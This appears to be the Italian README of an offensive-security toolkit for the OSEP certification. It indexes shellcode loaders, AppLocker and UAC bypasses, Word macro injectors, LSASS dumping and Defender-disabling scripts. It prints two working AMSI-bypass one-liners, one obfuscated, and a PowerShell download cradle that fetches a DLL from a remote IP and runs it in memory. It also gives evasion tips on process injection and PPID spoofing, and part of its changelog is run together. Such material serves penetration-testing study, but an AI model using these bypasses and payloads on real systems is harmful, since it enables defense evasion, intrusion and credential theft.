Un connubio tra Octoberfest7/OSEP-Tools e chvancooten/OSEP-Code-Snippets con alcuni miglioramenti/aggiunte
Un connubio tra Octoberfest/OSEP-Tools e chvancooten/OSEP-Code-Snippets. Grazie a questi ragazzi per aver fatto il vero lavoro.
Ovviamente ho apportato alcune modifiche ai repo. Il modo più semplice per vedere cosa ho fatto è controllare i commit e la mia sezione Changelog qui sotto. Ho riscritto/riformattato la documentazione per gli strumenti, sistemato alcune cose qua e là, e aggiunto alcune funzionalità decenti sopra i vecchi progetti.
Gran parte della mia attenzione è stata dedicata ad aggiungere funzionalità ai progetti C#/PS di caricamento shellcode, ai bypass di AppLocker e alle cose Misc. Ho incluso la maggior parte di OSEP-Tools, e alcuni progetti da OSEP-Code-Snippets che non erano già coperti. Tenete presente che i progetti qui presenti servono principalmente a darvi un punto di partenza da cui potete espandere e aggiornare le vostre versioni degli strumenti.
Di seguito trovate un piccolo indice, alcune note, il mio changelog, e poi il disclaimer dell'autore originale del repo OSEP-Tools.
| Modulo | Descrizione | SottoModuli |
|---|---|---|
| Active_Directory | Strumenti che aiutano nell'enumerazione/sfruttamento di AD | sql |
| AppLocker_Bypass | Strumenti che aiutano nel bypassare AppLocker | altBypass, DLLInject64, DLLRunner32, psBypass |
| Linux | Strumenti che aiutano nell'eseguire shell su una macchina Linux | Linux_Shellcode_Encoders, Linux_Shellcode_Loaders |
| Loaders_Disk | Strumenti che aiutano nel caricare shellcode in memoria, dal disco, ed eseguirlo | ASPX_Inject64, ASPX_Runner64, clrunner, clhollow, clinject, D_invoke |
| Loaders_Memory | Strumenti che aiutano nel caricare shellcode in memoria, dalla memoria. Di solito script recuperati da remoto in powershell. | powerhollow.py, powerinject.py |
| Macros | Strumenti che aiutano nell'eseguire shellcode dalla memoria o dal disco, da una Macro VBS di Word | WordMacroRunner.vbs, WordMacroRunnerBasic.vbs, vbObfuscate.ps1, WordPsCradle.vbs, WordMacroInject.vbs |
| Misc | Strumenti che aiutano in cose varie come l'enumerazione AV, l'automazione, il dump della memoria LSASS e RCE sfruttando le API win32 | AV_Stuff, Autos, PSLessExec, MiniDump |
| Privilege_Escalation | Strumenti che aiutano nel PE su Windows | PrinSpoofer.Net, shakeitoff, UACBypass.ps1 |
WordMacroInject.vbs to be able to inject when ran from a 32-bit Word processWordMacroInject.vbs to enumerate 32-bit processes and inject into a process other than WINWORD.exeDisable-AVProduct.ps1 to better enumerate security productsMisc/Autos directory to automate common processes; Added Create-Admin.ps1Disable-AVProduct.ps1 to actually disable windows defender (using provided cmdlets/registry keys, nothing crazy)Disable-AVProduct.min.ps1powerhollow.py and powerinject.py payloads to not fail if no Amsi foundaltbypassbin_to_vbappArray.pypowerinject.py payloads to always execute in a 64-bit processpowerinject.py target injection process identification method. Add any target option.clrunner payload. Add InstallUtil bypass to all cl* Shellcode Loaders.payloads/ directory.DLLInject64 e DLLRunner32. Rimossi nonDN2J.hta.ASPX_Inject64 e ASPX_Runner64Loaders_PEs in Loaders_Disk, Loaders_Shellcode in Loaders_Memory, spostati i progetti tra di essi.DLLInject64 e DLLRunner32: Spostati in AppLocker_Bypass, aggiunti AMSI Bypasses e aggiunti esempi di payload XSL + HTA.AV_Stuff
Get-AppLockerRules.ps1DisableLSA script using my private notesx64_met_staged_reverseHttps* in /bins perché non funzionano. Quelli tcp sì.
UACBypass.ps1$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE](https://github.com/hackinaggie/osep-tools-v2/blob/main/%22%7B1%7D%7B0%7D%22-F%27F%27%2C%27rE%27) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.195/basic.dll');$assem = [System.Reflection.Assembly]::Load($data);$class = $assem.GetType("dll.Class1");$method = $class.GetMethod("runner");$method.Invoke(0, $null)
Con Powerinject/Powerhollow assicurati di considerare se chiamerai la download cradle di PS da powershell o da cmd.exe e usa la modalità appropriata quando costruisci i payload. Quando chiami powershell.exe da cmd.exe o anche da un'altra finestra di powershell, stai creando un processo figlio e, sebbene il bypass AMSI incorporato possa funzionare per il processo figlio, il processo padre rileverà il figlio che esegue azioni malevole e lo segnalerà.
Il tuo target per l'injection deve avere la stessa integrità o inferiore rispetto al metodo con cui hai l'esecuzione di codice. Ovvero, se stai operando in integrità media non puoi fare injection in spoolsv, fai injection in explorer.
Il tuo processo padre target per lo spoofing del PPID deve avere la stessa integrità o inferiore rispetto al metodo con cui hai l'esecuzione di codice. Ovvero, se stai operando in integrità media non puoi specificare spoolsv come processo padre. Il processo sottoposto a hollowing erediterà l'integrità del processo padre.